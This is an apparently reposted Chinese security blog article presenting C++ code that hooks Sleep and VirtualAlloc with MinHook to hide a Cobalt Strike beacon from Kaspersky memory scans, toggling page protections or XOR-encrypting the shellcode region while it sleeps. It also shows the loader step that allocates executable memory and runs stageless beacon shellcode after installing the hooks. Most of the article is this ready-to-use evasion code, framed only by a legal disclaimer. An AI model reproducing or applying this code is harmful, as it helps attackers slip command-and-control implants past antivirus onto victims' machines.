再谈cobalt strike bypass 卡巴内存检测

admin 2022年11月16日11:44:14安全文章评论19 views2416字阅读8分3秒阅读模式

卡巴斯基会对当前机器的内存空间进行不定期的内存扫描,主动点击扫描的时候也会对系统内存进行检测。目前有一种bypass的思路就是利用beacon中的sleep通过打时间差来bypass然而硬件断点的方式占用资源高,放到实际环境中,使用一会目标机器会变的异常卡顿,这里我在想既然是通过Sleep去打时间差,直接在挂钩函数中Sleep前后修改内存属性不就行了吗,完全不需要硬件断点,或者直接去加密内存区域,sleep完之后再还原即可,没有必要等跳回内存区域执行的时候通过硬件断点触发去恢复内存区域的可执行属性。bypass代码如下:

#include "hook/inline/minhook/include/minhook.h"PVOID g_DwSleep,g_DwVirtualAlloc;typedef VOID(WINAPI *pSleep)(  _In_ DWORD dwMilliseconds);pSleep oldpSleep = NULL;
typedef LPVOID(WINAPI* pVirtualAlloc)( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect );pVirtualAlloc oldpVirtualAlloc = NULL;
BYTE* g_FirstAddr = 0;BYTE* g_PageAddr = 0;DWORD g_PageSize = 0;VOID WINAPI NewSleep( _In_ DWORD dwMilliseconds){ if (g_FirstAddr) { VirtualFree(g_FirstAddr,0,MEM_RELEASE); //卸载VirtualAlloc hook MH_DisableHook((LPVOID)g_DwVirtualAlloc); g_FirstAddr = 0; } if (GetCurrentThreadId() == g_ThreadId) { //如下两种方式都可绕过 DWORD dwOld; VirtualProtect(g_PageAddr, g_PageSize, PAGE_READWRITE, &dwOld); //sleep前后直接加密内存 /*for (size_t i = 0; i < g_PageSize; i++) { g_PageAddr[i] ^= 0x11; }*/ oldpSleep(dwMilliseconds); VirtualProtect(g_PageAddr, g_PageSize, PAGE_EXECUTE_READWRITE, &dwOld); /*for (size_t i = 0; i < g_PageSize; i++) { g_PageAddr[i] ^= 0x11; }*/ } else { oldpSleep(dwMilliseconds); }}
LPVOIDWINAPINewVirtualAlloc( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect){ LPVOID pret = oldpVirtualAlloc(lpAddress,dwSize,flAllocationType,flProtect); g_PageAddr = (BYTE*)pret; g_PageSize = dwSize; return pret;}void bypassKasper(){ HMODULE h1 = GetModuleHandleW(L"kernelbase.dll"); if (h1 == NULL) { h1 = GetModuleHandleW(L"kernl32.dll"); } oldpSleep = (pSleep)GetProcAddress(h1, "Sleep"); oldpVirtualAlloc = (pVirtualAlloc)GetProcAddress(h1, "VirtualAlloc"); g_DwSleep = oldpSleep; g_DwVirtualAlloc = oldpVirtualAlloc; if (MH_Initialize() != MH_OK) { return; } MH_STATUS ns1 = MH_CreateHook((LPVOID)g_DwSleep, &NewSleep, reinterpret_cast<LPVOID*>(&oldpSleep)); MH_STATUS ns2 = MH_EnableHook((LPVOID)g_DwSleep);
MH_STATUS ns3 = MH_CreateHook((LPVOID)g_DwVirtualAlloc, &NewVirtualAlloc, reinterpret_cast<LPVOID*>(&oldpVirtualAlloc)); MH_STATUS ns4 = MH_EnableHook((LPVOID)g_DwVirtualAlloc);

在加载器执行stageless的shellcode之前执行下bypassKasper函数即可。比如:

BYTE* bData = (PBYTE)VirtualAlloc(NULL, sizeof(Beacon_Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);pShellFunc pFunc = (pShellFunc)bData;//执行之前pass卡巴g_ThreadId = GetCurrentThreadId();g_FirstAddr = bData;//这部分区域在hook的sleep中释放掉,否则也会被内存特征bypassKasper();pFunc();//执行stageles的shellcode

执行效果如下:

再谈cobalt strike bypass 卡巴内存检测

再谈cobalt strike bypass 卡巴内存检测

原文始发于微信公众号(开普勒安全团队):再谈cobalt strike bypass 卡巴内存检测

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月16日11:44:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  再谈cobalt strike bypass 卡巴内存检测 http://cn-sec.com/archives/1412932.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: